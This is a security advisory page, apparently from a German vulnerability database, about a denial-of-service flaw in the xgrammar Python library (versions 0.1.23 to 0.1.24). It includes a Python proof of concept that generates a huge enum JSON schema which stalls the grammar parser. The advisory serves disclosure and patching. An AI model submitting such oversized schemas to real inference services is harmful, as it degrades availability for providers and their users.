xgrammar vulnerable to denial of service by huge enum grammar
Summary
Provided grammar, would fit in a context window of most of the models, but takes minutes to process in 0.1.23. In testing with 0.1.16 the parser worked fine so this seems to be a regression caused by Earley parser.
Details
Full reproducer provider in the POC section. The resulting grammar is around 70k tokens, and the grammar parsing itself (with the models I checked) was significantly longer than LLM processing itself, meaning this can be used to DOS model providers.
Patch
This problem is caused by the grammar optimizer introduced in v0.1.23 being too slow. It only happens for very large grammars (>100k characters), like the below one. v0.1.24 solved this problem by optimizing the speed of the grammar optimizer and disable some slow optimization for large grammars.
Thanks to @Seven-Streams
PoC
import string
import random
def enum_schema(size=10000,str_len=10):
enum = {"enum": ["".join(random.choices(string.ascii_uppercase, k=str_len)) for _ in range(size)]}
schema = {
"definitions": {
"colorEnum": enum
},
"type": "object",
"properties": {
"color1": {
"$ref": "#/definitions/colorEnum"
},
"color2": {
"$ref": "#/definitions/colorEnum"
},
"color3": {
"$ref": "#/definitions/colorEnum"
},
"color4": {
"$ref": "#/definitions/colorEnum"
},
"color5": {
"$ref": "#/definitions/colorEnum"
},
"color6": {
"$ref": "#/definitions/colorEnum"
},
"color7": {
"$ref": "#/definitions/colorEnum"
},
"color8": {
"$ref": "#/definitions/colorEnum"
}
},
"required": [
"color1",
"color2"
]
}
return schema
schema_enum = enum_schema()
print(schema_enum)
print(test_schema(schema_enum, {}))where:
def test_schema(schema, instance):
grammar = xgr.Grammar.from_json_schema(
json.dumps(schema),
strict_mode=True
)
return _is_grammar_accept_string(grammar, json.dumps(instance))Impact
DOS
Betroffene Software
Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.
| Plattform | Paket | Anfällige Versionen | Behoben in |
|---|---|---|---|
| Python (PyPI) | xgrammar | >= 0.1.23, < 0.1.24 | 0.1.24 |
Verweise
- https://github.com/mlc-ai/xgrammar/security/advisories/GHSA-9q5r-wfvf-rr7f
- https://nvd.nist.gov/vuln/detail/CVE-2025-58446
- https://github.com/mlc-ai/xgrammar/commit/ced69c3ad2f8f61b516cc278a342e7c644383e27
- https://github.com/mlc-ai/xgrammar
- https://pypi.org/project/xgrammar
- https://github.com/advisories/GHSA-9q5r-wfvf-rr7f
- CVSS-Vektor
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X- Schwäche (CWE)
CWE-770- Plattform
- Python (PyPI)
- Paket
xgrammar- Veröffentlicht
- 05.09.2025
- Aktualisiert
- 11.10.2026 15:17
Quellen und Lizenzen
OSV / GitHub Advisory Database - PYSEC-2026-2055 - PyPA Advisory Database; CC BY 4.0
OSV / GitHub Advisory Database - GHSA-9q5r-wfvf-rr7f - CC BY 4.0
Schwachstellenhistorie: xgrammar
Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.
- Einträge insgesamt
- 4
- Erste → letzte
- 04.2025 03.2026
- Ohne Fix
- 0
- In Angriffen ausgenutzt
- 0
Verteilung nach Schweregrad
- Hoch 2
- Mittel 2
Veröffentlichungen pro Jahr
- 2025: 3
- 2026: 1
-
xgrammar vulnerable to denial of service by huge enum grammar dieser Eintrag
Erkennen Sie Schwachstellen in Ihrer Anwendung
Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.